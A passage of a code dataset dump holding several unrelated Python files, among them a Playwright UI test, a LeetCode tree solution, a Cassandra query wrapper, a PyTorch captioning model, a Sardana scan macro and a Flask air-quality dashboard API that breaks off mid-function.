HACK: sure there is a better way\n page.wait_for_selector(f\"div[class='experiment-detail-header']:has-text('{run.name}')\")\n save_screen(page,args)\n\n run_detail(page, args)\n else:\n logger.debug(\"run not found\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Grid WebUI QA\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n # playwriter\n parser.add_argument('--headless', default=False, type=bool, help=\"headless browser\")\n # common setup \n parser.add_argument('--url', type=str, default='https://platform.grid.ai/', help='an integer for the accumulator')\n parser.add_argument('--image_path', type=str, default='./images/', help='images saved')\n parser.add_argument('--storage_state', default=f'auth-google-sangkyulee.json', type=str, help=\"auth state\")\n # run search\n parser.add_argument('--run_name', type=str, default='spicy', help=\"run name\")\n # get arguments\n args = parser.parse_args()\n\n # logging\n logger.add('logs/logs.log', level='DEBUG')\n\n with sync_playwright() as playwright:\n browser = playwright.firefox.launch(headless=args.headless)\n context = browser.new_context(storage_state=args.storage_state)\n\n # Open new page\n page = context.new_page()\n page.goto(args.url)\n\n # start the unit test\n x=get_count(page)\n logger.debug(f\"Runs {x}\")\n\n run_search(page,args)\n","sub_path":"grid-run-search.py","file_name":"grid-run-search.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"340383301","text":"# Runs on Leetcode\n\n# DFS\n # Runtime - O(n)\n # Memory - O(1)\n\n# BFS\n # Runtime - O(n)\n # Memory - O(n)\n\n\nclass Solution:\n def DFS_isCousins(self, root: TreeNode, x: int, y: int) -> bool:\n if not root:\n return False\n self.x = x\n self.y = y\n self.helper(root, 0, TreeNode(-1))\n return self.xp != self.yp and self.depth_x == self.depth_y\n \n def helper(self,root,depth,parent):\n if root is None:\n return \n if root.val == self.x:\n self.xp = parent.val\n self.depth_x = depth\n if root.val == self.y:\n self.yp = parent.val\n self.depth_y = depth\n if root.left:\n self.helper(root.left, depth+1, root)\n if root.right:\n self.helper(root.right, depth+1, root)\n","sub_path":"Problem_1.py","file_name":"Problem_1.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"547428517","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n' a test module '\n\n__author__ = 'clawpo'\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nif __name__ == '__main__':\n\n data = pd.read_csv(\"SoftInput.txt\", sep=\"\\t\", header=None)\n data.columns = [\"a\", \"b\", \"c\"]\n print(data.head())\n\n # _, ax = plt.subplots()\n # plt.scatter(data['a'].values, data['b'].values)\n # ax.spines['top'].set_color(None)\n # ax.spines['right'].set_color(None)\n\n\n\n print(data['c'].value_counts())\n y = data['c'].value_counts().index\n print(y)\n\n data1 = data.set_index(['c'])\n colors = ['red', 'black', 'blue', 'green']\n marks = ['*','x','+','o']\n fig, ax = plt.subplots()\n for i, s in enumerate(y):\n ax.scatter(data1['a'].loc[s], data1['b'].loc[s], c=colors[i], marker=marks[i],label=s, alpha=0.5, edgecolors='none')\n ax.legend(loc=5, fontsize=12)\n plt.legend(loc='best')\n plt.ylim(-4.0,16.0)\n plt.show()","sub_path":"Chapter_2_Softmax_Regression/softmax_regression_plt.py","file_name":"softmax_regression_plt.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"295460841","text":"import pickle \nimport joblib\nimport json\nimport numpy as np\nimport base64\nimport cv2\nimport pywt\nimport joblib\nimport matplotlib.pyplot as plt\n\n\nglobal __model\nglobal __class_number_to_name\nwith open('Assets/saved_model.pkl', 'rb') as f:\n __model = joblib.load(f)\n\nwith open(\"Assets/class_dictionary.json\", \"r\") as f:\n class_name_to_number = json.load(f)\n __class_number_to_name = {v:k for k,v in class_name_to_number.items()}\n\nface_cascade = cv2.CascadeClassifier('Assets/haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('Assets/haarcascade_eye.xml')\n\n\ndef crop_img_2eye(img):\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n for (x,y,w,h) in faces:\n img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,255,255),2)\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = img[y:y+h, x:x+w]\n eyes = eye_cascade.detectMultiScale(roi_gray)\n if len(eyes) >=2:\n return roi_color\n \n\ndef w2d(img, mode='haar', level=1):\n imArray = img\n\n imArray = cv2.cvtColor( imArray,cv2.COLOR_RGB2GRAY )\n #convert to float\n imArray = np.float32(imArray) \n imArray /= 255;\n\n coeffs=pywt.wavedec2(imArray, mode, level=level)\n\n\n coeffs_H=list(coeffs) \n coeffs_H[0] *= 0; \n\n imArray_H=pywt.waverec2(coeffs_H, mode);\n imArray_H *= 255;\n imArray_H = np.uint8(imArray_H)\n\n return imArray_H\n \n\ndef main(img):\n img = crop_img_2eye(img)\n scalled_raw_img = cv2.resize(img, (32, 32))\n img_har = w2d(img,'db1',5)\n scalled_img_har = cv2.resize(img_har, (32, 32))\n test_img = np.vstack((scalled_raw_img.reshape(32*32*3,1),scalled_img_har.reshape(32*32,1)))\n return __class_number_to_name[__model.predict(test_img.reshape(1,-1))[0]]\n\n\n\n","sub_path":"Server/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"534370555","text":"\"\"\"\r\n“Traduceri”\r\na) Se citește de la tastatură un text. Se cere să se “traducă” în limba păsărească textul dat astfel: după\r\nfiecare vocală se adaugă litera p și încă o dată acea vocală (după a, e, i, o, u se adaugă respectiv pa,\r\npe, pi, po, pu). Exemplu: “Ana are mere.” devine “Apanapa aparepe meperepe.”\r\nFiind dat un astfel de text în limba păsărească, se poate obține textul original? Dacă da, faceți asta.\r\n\"\"\"\r\n\r\n# citim textul\r\n# parcurgem\r\n# adaugam caracterele intr un nou sir\r\n# unde gasim o vocala\r\n# adaugam in noul sir vocala + p + vocala\r\n\r\n#se poate traduce din pasareasca in limbaj obisnuit\r\n#inlocuind aparitiile structurilor de forma voc_p_voc cu voc\r\n\r\ntext = input(\"Introduceti textul: \")\r\n\r\nvocale = \"aeiou\"\r\n #citiri\r\nprint(\"1 = criptare , 2 = decriptare\")\r\nprint(\" \")\r\nopt = int(input(\"Introduceti optiunea voastra: \"))\r\nsn = ''\r\nif opt == 1 : # pentru criptare\r\n\r\n for ch in text: #pentru fiecare litera din text\r\n if ch.lower() in vocale: # daca e o vocala\r\n sn += ch +'p' + ch # criptam corespunzator\r\n else:\r\n sn += ch #altfel adaugam pur si simplu in noul sir\r\nelse: #pentru decriptare\r\n i = 0\r\n while i < len(text) - 2: #parcurgem\r\n #print(i)\r\n if (text[i].lower() in vocale) and (text[i+1].lower() == 'p') and (text[i+2].lower() == text[i].lower()) :\r\n #daca gasim o structura de forma vocala+p+vocala\r\n sn += text[i] #o transformam intr o simpla vocala\r\n i += 2 # si sarim peste p si peste dublura vocalei\r\n\r\n else: sn += text[i] #altfel, adaugam pur si simplu\r\n i += 1 #mergem mai departe\r\n\r\n\r\n # am folosit while pentru ca in for nu ma lasa sa incrementez i-ul sa sar peste pasi\r\n # daca fac i+=2 (linia 43) in urmatorul pas continua obisnuit, ca si cand ignora incrementarea\r\n\r\n\r\nprint(sn) # afisam\r\n","sub_path":"Laborator PA/2/8_a.py","file_name":"8_a.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"529176078","text":"import ast\nfrom collections import OrderedDict\nimport json\nimport uuid\nfrom pycassa import NotFoundException\nfrom pycassa.index import *\nfrom pycassa.columnfamily import ColumnFamily\nfrom thrift.Thrift import TApplicationException\nfrom models.db import Cassandra\nfrom fields import *\nimport datetime\n\n\nclass Query(ColumnFamily):\n\n def __init__(self, model_class=None, meta=None):\n \"\"\"\n Initialize Query, set the model class\n and create instance of Cassandra client\n \"\"\"\n\n if model_class and meta:\n self.model_class = model_class\n self.cass = Cassandra.Instance()\n\n model_class = type(self.model_class)\n super(Query, self).__init__(self.cass.db, meta.family)\n\n\n def create(self, *args, **kwargs):\n \"\"\"\n Django-ORM-esque create\n \"\"\"\n object = self.model_class()\n\n for key, value in kwargs.items():\n if key in object._fields.keys():\n setattr(object, key, value)\n\n # column key is special, it is usually not in fields\n if 'column_key' in kwargs:\n object.column_key = kwargs['column_key']\n\n return object\n\n def insert(self, key, row, ttl=None):\n \"\"\"\n Insert a new row. Idempotent, can be used for update as well\n \"\"\"\n cf = self.cass.cf(self.model_class._meta.family)\n cf.insert(key, row, ttl=ttl)\n\n @property\n def cf(self):\n \"\"\"\n Get the column family for the model\n \"\"\"\n return self.cass.cf(self.model_class._meta.family)\n\n def exists(self, key=None):\n \"\"\"\n Checks whether the key exists.\n \"\"\"\n return self.get(key, cols=[self.cls.Meta.key]) is not None\n\n def _get_data(self, keys=None, columns=None, column_start=\"\", column_finish=\"\",\n column_reversed=False, column_count=100, type=list):\n\n keys = self._clean_keys(keys)\n columns = self._clean_column_keys(columns)\n\n if self._is_dynamic_cf():\n if column_start != \"\":\n objects = self._get_wide(\n key=keys,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=column_count\n )\n else:\n\n objects = self._get_wide(\n key=keys,\n columns=columns,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=column_count\n )\n\n else:\n cf = self.cass.cf(self.model_class._meta.family)\n try:\n objects = self.multiget(\n keys=keys,\n columns=columns,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=column_count\n )\n except (NotFoundException, TApplicationException):\n return None\n\n if objects and type == dict:\n return OrderedDict([(o.key, o) for o in objects])\n\n return objects\n\n def _get_wide(self, key=None, columns=None, column_start=\"\",\n column_finish=\"\", column_reversed=False, column_count=100):\n\n if isinstance(key, (list, set)):\n key = key.pop()\n key = str(key)\n\n #cf = self.cass.cf(self.model_class._meta.family)\n\n try:\n\n if column_start != \"\":\n\n all_data = self.cf.get(\n key,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=column_count\n )\n\n else:\n all_data = self.cf.get(\n key,\n columns=columns,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=column_count\n )\n except NotFoundException:\n return []\n\n objects = []\n if all_data:\n for col_key, data in all_data.items():\n try:\n if data == '':\n data = '{}'\n data = eval(data)\n except ValueError:\n data = {}\n date_point = self.set_wide_fields(key, col_key, data)\n objects.append(date_point)\n\n return objects\n\n def set_wide_fields(self, row_key, column_key, data):\n \"\"\"\n Create model instance from key, dict object returned by pycassa\n \"\"\"\n model = self.model_class()\n\n # set all fields to None\n for field_name in model._fields.keys():\n setattr(model, field_name, None)\n\n # set key\n setattr(model, 'key', row_key)\n setattr(model, 'column_key', column_key)\n setattr(model, model._key_field, row_key)\n\n # set fields\n for key, value in data.items():\n for field_name, field_obj in model._fields.items():\n if field_obj.uniq_field == key:\n setattr(model, field_name, value)\n break\n\n return model\n\n def set_fields(self, key, data):\n \"\"\"\n Create model instance from key, dict object returned by pycassa\n \"\"\"\n model = self.model_class()\n\n # set all fields to None\n for field_name in model._fields.keys():\n setattr(model, field_name, None)\n\n # set key\n setattr(model, 'key', key)\n setattr(model, model._key_field, key)\n\n # set fields\n for key, value in data.items():\n for field_name, field_obj in model._fields.items():\n\n # same as our small uniq field\n if field_obj.uniq_field == key:\n\n # convert to list if ListField\n if type(field_obj) == ListField:\n if(value.find('[') == 0):\n value = ast.literal_eval(str(value))\n else:\n value = value.split(',')\n\n setattr(model, field_name, value)\n break\n\n return model\n\n def multiget_by_secondary_indexes(\n self, secondary_indexes, start_key='', count=100, columns=None):\n \"\"\"\n This method imitates the get function,\n but uses secondary indexes instead.\n \"\"\"\n cf = self.cass.cf(self.model_class._meta.family)\n\n clauses = []\n\n # create the index clause\n for col_name, col_value in secondary_indexes.iteritems():\n clauses.append(create_index_expression(col_name,col_value))\n\n clause = create_index_clause(clauses, start_key=start_key, count=count)\n all_data = dict(cf.get_indexed_slices(\n index_clause=clause,\n columns=columns\n ))\n models = []\n for key, data in all_data.items():\n model = self.set_fields(key, data)\n models.append(model)\n return models\n\n def _is_dynamic_cf(self):\n \"\"\"\n Checks if the column family is a dynamic column family\n \"\"\"\n if hasattr(self.model_class._meta, 'family_type'):\n return self.model_class._meta.family_type == 'wide'\n\n return False\n\n def _convert_to_class(self, keys, cls):\n \"\"\"\n Utility function to convert keys to some other type.\n \"\"\"\n\n if isinstance(keys, cls):\n return keys\n\n if not isinstance(keys, (set, list)):\n return cls(keys)\n\n return [cls(key) for key in keys]\n\n def _clean_keys(self, keys):\n \"\"\"\n Clean keys so we don't have None values, or duplicates,\n and sets the correct type expected\n \"\"\"\n if not isinstance(keys, (list, set)):\n keys = [keys]\n\n keys = list(set(filter(None, keys)))\n\n key_type = getattr(self.model_class, self.model_class._key_field, None)\n convert_to_type = None\n\n if isinstance(key_type, UUIDField):\n convert_to_type = uuid.UUID\n\n elif isinstance(key_type, IntField):\n convert_to_type = int\n\n if convert_to_type:\n return self._convert_to_class(keys, convert_to_type)\n\n return keys\n\n def _clean_column_keys(self, column_keys):\n \"\"\"\n Clean column keys so no duplicates,\n Nones and are in correct format\n \"\"\"\n\n if not isinstance(column_keys, (list, set)):\n column_keys = [column_keys]\n\n column_keys = list(set(filter(None, column_keys)))\n\n column_type = getattr(self.model_class._meta, 'column_key', None)\n convert_to_type = None\n\n if isinstance(column_type, UUIDField):\n convert_to_type = uuid.UUID\n\n elif isinstance(column_type, IntField):\n convert_to_type = int\n\n if convert_to_type:\n column_keys = self._convert_to_class(column_keys, convert_to_type)\n\n if not column_keys:\n return None\n\n return column_keys\n\n def filter(self, keys=None, columns=None, column_start=\"\", column_finish=\"\",\n column_reversed=False, column_count=100, type=list):\n \"\"\"\n Filter will always return collection type (dict, list)\n even if only one found. Use `get` to get one only.\n Will return [] or {} if no items found\n \"\"\"\n return self._get_data(\n keys, columns, column_start, column_finish,\n column_reversed, column_count, type\n )\n\n def get(self, key=None, columns=None, column_start=\"\", column_finish=\"\",\n column_reversed=False):\n \"\"\"\n Will only return one object or None\n \"\"\"\n if key is None:\n raise KeyError()\n\n objects = self._get_data(\n keys=key,\n columns=columns,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n column_count=1\n )\n if objects:\n return objects[0]\n\n def multiget(self, keys, columns=None, column_start=\"\", column_finish=\"\",\n column_reversed=False, column_count=100, include_timestamp=False,\n super_column=None, read_consistency_level=None, buffer_size=None):\n\n cf = self.cass.cf(self.model_class._meta.family)\n all_data = cf.multiget(keys, columns=columns,\n column_start=column_start, column_finish=column_finish)\n\n models = []\n for key, data in all_data.items():\n model = self.set_fields(key, data)\n models.append(model)\n return models\n\n def get_range(self, start=\"\", finish=\"\", columns=None, column_start=\"\",\n column_finish=\"\", column_reversed=False, column_count=100,\n row_count=None, include_timestamp=False,\n super_column=None, read_consistency_level=None,\n buffer_size=None, filter_empty=True):\n\n cf = self.cass.cf(self.model_class._meta.family)\n\n all_data = cf.get_range(\n row_count=row_count,\n columns=columns,\n column_start=column_start,\n column_finish=column_finish,\n column_reversed=column_reversed,\n include_timestamp=include_timestamp\n\n )\n models = []\n for key, data in all_data:\n model = self.set_fields(key, data)\n models.append(model)\n return models\n\n def remove(self, key=None, columns=None):\n \"\"\"\n Removes the entire row or in the case of a wide column\n only remove certain columns\n \"\"\"\n columns = self._clean_column_keys(columns)\n cf = Cassandra.Instance().cf(self.model_class._meta.family)\n cf.remove(key, columns)\n","sub_path":"cass/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":12176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"396958405","text":"import unittest\nimport json\n\nimport mock\nimport requests\nimport requests_mock\n\nfrom psn.cli import format_friend_status_message\nfrom psn import client\n\nprofile = {\n u'avatarUrls': [\n {\n u'avatarUrl': u'http://some-url.com/avatar.png',\n u'size': u'l',\n },\n ],\n u'following': False,\n u'friendRelation': u'friend',\n u'isOfficiallyVerified': False,\n u'onlineId': u'wumbo-online-id\\xae',\n u'personalDetail': {\n u'firstName': u'Patrick',\n u'lastName': u'Star',\n },\n u'personalDetailSharing': u'shared',\n u'plus': 1,\n u'presences': [{\n u'hasBroadcastData': False,\n u'npTitleIconUrl': u'http://some-url/icon0.png',\n u'npTitleId': u'some-title-id',\n u'onlineStatus': u'online\\xae',\n u'platform': u'PS4\\xae',\n u'titleName': u'Rocket League\\xae'\n }],\n u'primaryOnlineStatus': u'online',\n u'trophySummary': {u'level': 4}\n}\n\n\nclass TestUnicode(unittest.TestCase):\n \"\"\"Some tests to check for successful handling of unicode data\"\"\"\n\n def test_format_friend_status_message(self):\n format_friend_status_message(profile)\n\n def test_do_request(self):\n session = requests.Session()\n adapter = requests_mock.Adapter()\n session.mount('mock', adapter)\n\n adapter.register_uri('GET', 'mock://test-unicode',\n text=u'Rocket League\\xae')\n\n client.requests = session\n client.do_request('GET', 'mock://test-unicode')\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"231955839","text":"\n\nclass Inventory():\n slots = {\n 'wood': 1,\n 'stone': 0,\n 'dirt': 0,\n 'gravel': 0,\n 'water': 0,\n 'wooden axe': 0,\n 'wooden sword': 0,\n 'stone axe': 0,\n 'stone sword': 0\n }\n\n def bag(self):\n for k, v in sorted(self.slots.items()):\n print((k, v))\n return ' '","sub_path":"game/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"265971236","text":"import torch\nimport torch.nn as nn\nimport torchvision.models as models\n\nclass EncoderCNN(nn.Module):\n def __init__(self, embed_size):\n super(EncoderCNN, self).__init__()\n resnet = models.resnet50(pretrained=True)\n for param in resnet.parameters():\n param.requires_grad_(False)\n \n modules = list(resnet.children())[:-1]\n self.resnet = nn.Sequential(*modules)\n self.embed = nn.Linear(resnet.fc.in_features, embed_size)\n # batch normalization\n self.batchNorm = nn.BatchNorm1d(embed_size,momentum = 0.01)\n # Weights initialization\n self.embed.weight.data.normal_(0., 0.02)\n self.embed.bias.data.fill_(0)\n \n def forward(self, images):\n features = self.resnet(images)\n features = features.view(features.size(0), -1)\n features = self.batchNorm(self.embed(features))\n return features \n \nclass DecoderRNN(nn.Module):\n def __init__(self, embed_size, hidden_size, vocab_size, num_layers=1):\n super(DecoderRNN, self).__init__()\n self.word_embeddings = nn.Embedding(vocab_size, embed_size)\n\n # The LSTM takes embedded features as inputs, and outputs hidden states\n # with dimensionality hidden_size.\n self.lstm = nn.LSTM(embed_size, hidden_size, num_layers, batch_first=True)\n\n # The linear layer that maps from hidden state space to word space\n self.hidden2word = nn.Linear(hidden_size, vocab_size)\n \n def forward(self, features, captions):\n embeds = self.word_embeddings(captions[:, :-1])\n inputs = torch.cat([features.unsqueeze_(1), embeds], dim=1)\n outputs, _ = self.lstm(inputs.cuda() if torch.cuda.is_available() else inputs)\n return self.hidden2word(outputs)\n\n def sample(self, inputs, states=None, max_len=20):\n \" accepts pre-processed image tensor (inputs) and returns predicted sentence (list of tensor ids of length max_len) \"\n outputs = [] # initialize outputs\n for i in range(max_len):\n # Predict next word\n output, states = self.lstm(inputs, states) # output in hidden space\n output = self.hidden2word(output.squeeze(1)) # output scores in word space\n _, index = torch.max(output, 1) # word with maximum score\n outputs.append(index.item()) # append the result\n # if predicted word is , break the loop\n if index == 1:\n break\n # embed the last predicted word to be the new input of LSTM\n inputs = self.word_embeddings(index).unsqueeze(1)\n \n return outputs\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"35424180","text":"class Parse(object):\n def __init__(self):\n self.docs = []\n self.input = None\n self.output = None\n self.text = None\n\n def make(self, file_name, out_file):\n self.get_file(file_name)\n self.parse_text()\n self.gen_out(out_file)\n\n def get_file(self, file_name):\n self.input = open(file_name, 'r')\n x = self.input.readlines()\n for y in x:\n if '#^^' in y:\n self.docs.append(y)\n\n def parse_text(self):\n z = []\n for x in self.docs:\n x = x.split()\n x.remove(\"#\")\n x.remove(\"^\")\n x.remove(\"^\")\n x = \"\".join(x)\n z.append(x)\n self.text = \"\".join(z)\n\n def gen_out(self, out_file):\n self.output = open(out_file, 'w')\n self.output.write(self.text)\n","sub_path":"DocParser/DocParser.py","file_name":"DocParser.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"256685451","text":"#!/bin/env python\n\nimport PyTango\nimport time\nfrom sardana.macroserver.macro import macro, Type, ParamRepeat\n\n__all__ = [\"c2dscan_zebra\"] \n \nglobal scan\n \nclass HookPars:\n pass\n\ndef hook_post_move(self, hook_pars):\n\n global scan\n scan = scan + 1\n self.info(\"Scan \" + str(scan) + \" of \" + str(hook_pars.nscans))\n\n if scan%2==0:\n macro,pars = self.createMacro('cscan_zebra_xia',\n hook_pars.motor,\n hook_pars.final_pos,\n hook_pars.start_pos,\n hook_pars.nb_triggers, \n hook_pars.trigger_interval)\n else:\n macro,pars = self.createMacro('cscan_zebra_xia',\n hook_pars.motor,\n hook_pars.start_pos,\n hook_pars.final_pos,\n hook_pars.nb_triggers, \n hook_pars.trigger_interval)\n \n self.runMacro(macro)\n\n\n@macro([\n ['motor', Type.Motor, None, 'Continuous scan motor'],\n ['start_pos', Type.Float, None, 'Continuous scan start position'],\n ['final_pos', Type.Float, None, 'Continuous scan final position'],\n ['nb_triggers', Type.Integer, None, 'Nb of triggers generated by the zebra'],\n ['trigger_interval', Type.Float, None, 'Time between consecutive triggers'],\n ['motor_ext', Type.Motor, None, 'External motor to move'],\n ['start_pos_ext', Type.Float, None, 'External scan start position'],\n ['final_pos_ext', Type.Float, None, 'External scan final position'],\n ['nb_points_ext', Type.Integer, None, 'External number of points'],\n ['sample_time_ext', Type.Float, None, 'External sample time']\n])\n\ndef c2dscan_zebra(self, motor, start_pos, final_pos, nb_triggers, trigger_interval, motor_ext, start_pos_ext, final_pos_ext, nb_points_ext, sample_time_ext):\n \"\"\" 2d scans with continuos scans \"\"\"\n\n macro,pars = self.createMacro('ascan',\n motor_ext,\n start_pos_ext,\n final_pos_ext,\n nb_points_ext,\n sample_time_ext)\n \n # continuous scan als hook\n hook_pars = HookPars()\n hook_pars.motor = motor\n hook_pars.start_pos = start_pos\n hook_pars.final_pos = final_pos\n hook_pars.nb_triggers = nb_triggers\n hook_pars.trigger_interval = trigger_interval\n hook_pars.nscans = nb_points_ext + 1\n \n f = lambda : hook_post_move(self, hook_pars)\n macro.hooks = [\n (f, [\"post-move\"]),\n ]\n\n global scan\n scan = 0\n\n # Start external scan\n self.runMacro(macro)\n","sub_path":"DESY_P06/ContinuousScans2D.py","file_name":"ContinuousScans2D.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"567463810","text":"\n\n\nimport os\nimport sys\nimport win32com.client\n\nthis_modulepath = os.path.dirname(os.path.realpath(__file__))\n\ndef get_processes(procname):\n pidList = []\n for proc in win32com.client.GetObject('winmgmts:').InstancesOf('win32_process'):\n if proc.Name.upper() == procname.upper():\n pidList.append( proc.Properties_('ProcessId'))\n return pidList\n\n\ndef kill_processes(procname):\n pidList = get_processes(procname)\n for pid in pidList:\n try:\n os.kill(int(pid), 0)\n except (OSError, TypeError) as e:\n print(e)\n except (SystemError) as e:\n print(\"kill {}: {}\".format(procname, pid))\n\n\n \n###############################################################################################\n#\n# Test Area\n#\n###############################################################################################\n\nget_processes(\"excel.exe\")\n\nkill_processes(\"excel.exe\")","sub_path":"pywin32/pywin32_Process.py","file_name":"pywin32_Process.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"489347910","text":"\"\"\" chessKnight\nGiven a position of a knight on the standard chessboard, find the number of different \nmoves the knight can perform.\n\nThe knight can move to a square that is two squares horizontally and one square vertically, \nor two squares vertically and one square horizontally away from it. The complete move therefore \nlooks like the letter L. Check out the image below to see all valid moves for a knight piece that \nis placed on one of the central squares.\n\nExample\n\n For cell = \"a1\", the output should be\n chessKnight(cell) = 2.\n\n For cell = \"c2\", the output should be\n chessKnight(cell) = 6.\n\nInput/Output\n\n [execution time limit] 4 seconds (py3)\n\n [input] string cell\n\n String consisting of 2 letters - coordinates of the knight on an 8 × 8 chessboard in \n chess notation.\n\n Guaranteed constraints:\n cell.length = 2,\n 'a' ≤ cell[0] ≤ 'h',\n 1 ≤ cell[1] ≤ 8.\n\n [output] integer\n\"\"\"\n\n\ndef chessKnight(cell):\n res = 0\n if chr(ord(cell[0])-2) >= 'a':\n if int(cell[1]) - 1 >= 1:\n res += 1\n if int(cell[1]) + 1 <= 8:\n res += 1 \n if chr(ord(cell[0])+2) <= 'h':\n if int(cell[1]) - 1 >= 1:\n res += 1\n if int(cell[1]) + 1 <= 8:\n res += 1\n if int(cell[1]) + 2 <= 8:\n if chr(ord(cell[0])-1) >= 'a':\n res += 1\n if chr(ord(cell[0])+1) <= 'h':\n res += 1\n if int(cell[1]) - 2 >= 1:\n if chr(ord(cell[0])-1) >= 'a':\n res += 1\n if chr(ord(cell[0])+1) <= 'h':\n res += 1\n return res\n\n\nprint(chessKnight(\"c2\")) # 6\nprint(chessKnight(\"a1\")) # 2\n","sub_path":"Python/Python_code_challenges/chessKnight.py","file_name":"chessKnight.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"122344502","text":"from flask import Blueprint, request, jsonify\nimport logging\nimport app\nfrom models import monitoring_site, graph, dashboard\nfrom bson import json_util, ObjectId\nimport json\nimport pandas as pd\nfrom helpers import mongo_helpers\nfrom helpers import helpers\n\n_logger = logging.getLogger(__name__)\n\ndashboard_bp = Blueprint('dashboard', __name__)\n\n\n@dashboard_bp.route('/api/v1/dashboard/locations/pm25categorycount', methods=['GET'])\ndef get_pm25categorycount_for_locations():\n ms = monitoring_site.MonitoringSite()\n d = dashboard.Dashboard()\n if request.method == 'GET':\n org_name = request.args.get('organisation_name')\n if org_name:\n\n # organisation_monitoring_sites_cursor = ms.get_all_organisation_monitoring_sites(org_name)\n # results = d.get_pm25_category_count(organisation_monitoring_sites_cursor)\n results = d.get_pm25_category_location_count_for_the_lasthour(\n org_name)\n if results:\n return jsonify(results[0]['pm25_categories'])\n else:\n return jsonify([])\n else:\n return jsonify({\"error msg\": \"organisation name wasn't supplied in the query string parameter.\"})\n\n\n# @dashboard_bp.route('/api/v1/data/download', methods=['POST'])\n# def download_customised_data():\n# ms = monitoring_site.MonitoringSite()\n# gr = graph.Graph()\n# if request.method == 'POST':\n# json_data = request.get_json()\n# if not json_data:\n# return {'message': 'No input data provided'}, 400\n\n# # input_data, errors = validate_inputs(input_data=json_data) //add server side validation\n# # if not errors:\n\n# locations = json_data[\"locations\"]\n# start_date = json_data[\"startDate\"]\n# end_date = json_data[\"endDate\"]\n# frequency = json_data[\"frequency\"]\n# pollutant = json_data[\"pollutant\"]\n# file_type = json_data[\"fileType\"]\n# degree_of_cleanness = json_data[\"degreeOfClean\"]\n# organisation_name = json_data[\"organisation_name\"]\n# custom_chat_data = []\n# datasets = [] # displaying multiple locations\n# locations_devices = []\n# for location in locations:\n# devices = ms.get_location_devices_code(\n# organisation_name, location['label'])\n# for device in devices:\n# device_code = device['DeviceCode']\n# division = device['Division']\n# parish = device['Parish']\n# location_code = device['LocationCode']\n# values = []\n# labels = []\n# device_results = {}\n\n# filtered_data = gr.get_filtered_data(\n# device_code, start_date, end_date, frequency, pollutant)\n# if filtered_data:\n# for data in filtered_data:\n# values.append(data['pollutant_value'])\n# labels.append(data['time'])\n# device_results = {\n# 'pollutant_values': values, 'labels': labels}\n# dataset = {'data': values, 'label': parish +\n# ' ' + pollutant, 'fill': False}\n# datasets.append(dataset)\n\n# custom_chat_data.append({'start_date': start_date, 'end_date': end_date, 'division': division,\n# 'parish': parish, 'frequency': frequency, 'pollutant': pollutant,\n# 'location_code': location_code, 'chart_type': file_type, 'chart_data': device_results, 'datasets': datasets})\n\n# locations_devices.append(devices)\n\n# return jsonify({'results': custom_chat_data})\n\n\n@dashboard_bp.route('/api/v1/data/download', methods=['POST', 'GET', 'PUT', 'DELETE', 'PATCH'])\ndef download_customised_data():\n # create an instance of the MonitoringSite class\n ms = monitoring_site.MonitoringSite()\n\n # create an instance of the Graph class\n gr = graph.Graph()\n if request.method != 'POST':\n return {'message': 'Method not allowed. The method is not allowed for the requested URL'}, 400\n else:\n json_data = request.get_json()\n download_type = request.args.get('type')\n if not json_data:\n return {'message': 'No input data provided'}, 400\n if not download_type:\n return {'message': 'Please specify the type of data you wish to download'}, 400\n if download_type not in ['csv', 'json']:\n return {'message': 'Invalid data type. Please specify csv or json'}, 400\n\n locations = json_data[\"locations\"]\n start_date = json_data[\"startDate\"]\n end_date = json_data[\"endDate\"]\n frequency = json_data[\"frequency\"]\n # select multiple pollutants\n pollutants = 